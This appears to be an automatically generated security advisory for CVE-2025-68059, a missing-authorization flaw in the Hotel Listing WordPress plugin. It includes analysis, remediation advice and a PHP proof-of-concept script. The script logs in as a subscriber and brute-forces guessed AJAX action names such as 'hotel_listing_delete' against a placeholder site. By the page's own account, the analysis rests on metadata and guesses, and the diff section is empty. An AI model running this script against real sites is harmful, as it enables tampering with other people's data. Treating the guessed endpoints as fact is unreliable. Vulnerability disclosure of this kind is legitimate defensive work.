Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68059: Hotel Listing <= 1.4.2 – Missing Authorization (hotel-listing)

Plugin hotel-listing
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.4.2
Patched Version
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68059 (metadata-based):
The Hotel Listing WordPress plugin version 1.4.2 contains a missing authorization vulnerability. This flaw allows authenticated users with subscriber-level permissions or higher to perform unauthorized actions. The CVSS score of 4.3 (Medium severity) reflects the network accessibility, low attack complexity, and low integrity impact of this vulnerability.

Atomic Edge research indicates the root cause is a missing capability check on a plugin function. The CWE-862 classification confirms the absence of proper authorization verification before executing privileged operations. Without access to source code, this conclusion is inferred from the CWE classification and vulnerability description. The plugin likely implements an AJAX handler or admin function that processes requests without verifying the user has appropriate permissions.

Exploitation requires an authenticated attacker with subscriber-level access. The attacker would send a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin patterns, the likely attack vector is the admin-ajax.php handler with an action parameter containing a hotel-listing specific function. The payload would contain parameters that trigger the unauthorized action, such as modifying plugin settings, deleting listings, or manipulating booking data. No nonce verification appears present, as the vulnerability description focuses solely on missing capability checks.

Remediation requires adding proper capability checks before executing sensitive functions. The plugin should implement current_user_can() or similar WordPress authorization functions to verify user permissions. WordPress best practices dictate checking for both nonces and capabilities for AJAX handlers. The patch should restrict function execution to users with appropriate roles, typically administrators or custom roles with explicit hotel listing management permissions.

The impact includes unauthorized modification of hotel listing data. Attackers could delete or alter hotel information, modify booking details, or change plugin settings. While the CVSS vector indicates no confidentiality or availability impact, the integrity impact allows attackers to tamper with business-critical listing data. This could disrupt hotel operations, cause financial losses through incorrect pricing, or damage the website’s credibility through manipulated content.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68059 - Hotel Listing <= 1.4.2 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-68059
 * Assumptions based on metadata analysis:
 * 1. The plugin uses WordPress AJAX handlers (common pattern)
 * 2. The vulnerable endpoint is /wp-admin/admin-ajax.php
 * 3. The action parameter contains 'hotel_listing' prefix
 * 4. No nonce verification exists (implied by missing authorization focus)
 * 5. Subscriber-level users can trigger unauthorized actions
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for authentication
$ch = curl_init();

// First, authenticate to get cookies (WordPress requires auth for AJAX)
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Check if authentication succeeded
if (strpos($response, 'dashboard') === false && strpos($response, 'admin') === false) {
    echo "Authentication failed. Check credentials.n";
    exit;
}

// Attempt to trigger vulnerable action
// Common AJAX action patterns for hotel listing plugins
$ajax_actions = array(
    'hotel_listing_delete',
    'hotel_listing_update',
    'hotel_listing_save_settings',
    'hotel_listing_manage',
    'hl_delete',
    'hl_update',
    'hotel-listing-action'
);

foreach ($ajax_actions as $action) {
    $exploit_data = array(
        'action' => $action,
        'id' => '1',  // Common parameter for targeting specific listings
        'data' => 'malicious_payload'
    );
    
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
    
    $ajax_response = curl_exec($ch);
    
    // Check for successful exploitation indicators
    if ($ajax_response !== false && $ajax_response !== '0' && 
        strpos($ajax_response, 'error') === false &&
        strpos($ajax_response, 'permission') === false) {
        echo "Potential successful exploitation with action: $actionn";
        echo "Response: $ajax_responsen";
        break;
    }
}

curl_close($ch);
// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

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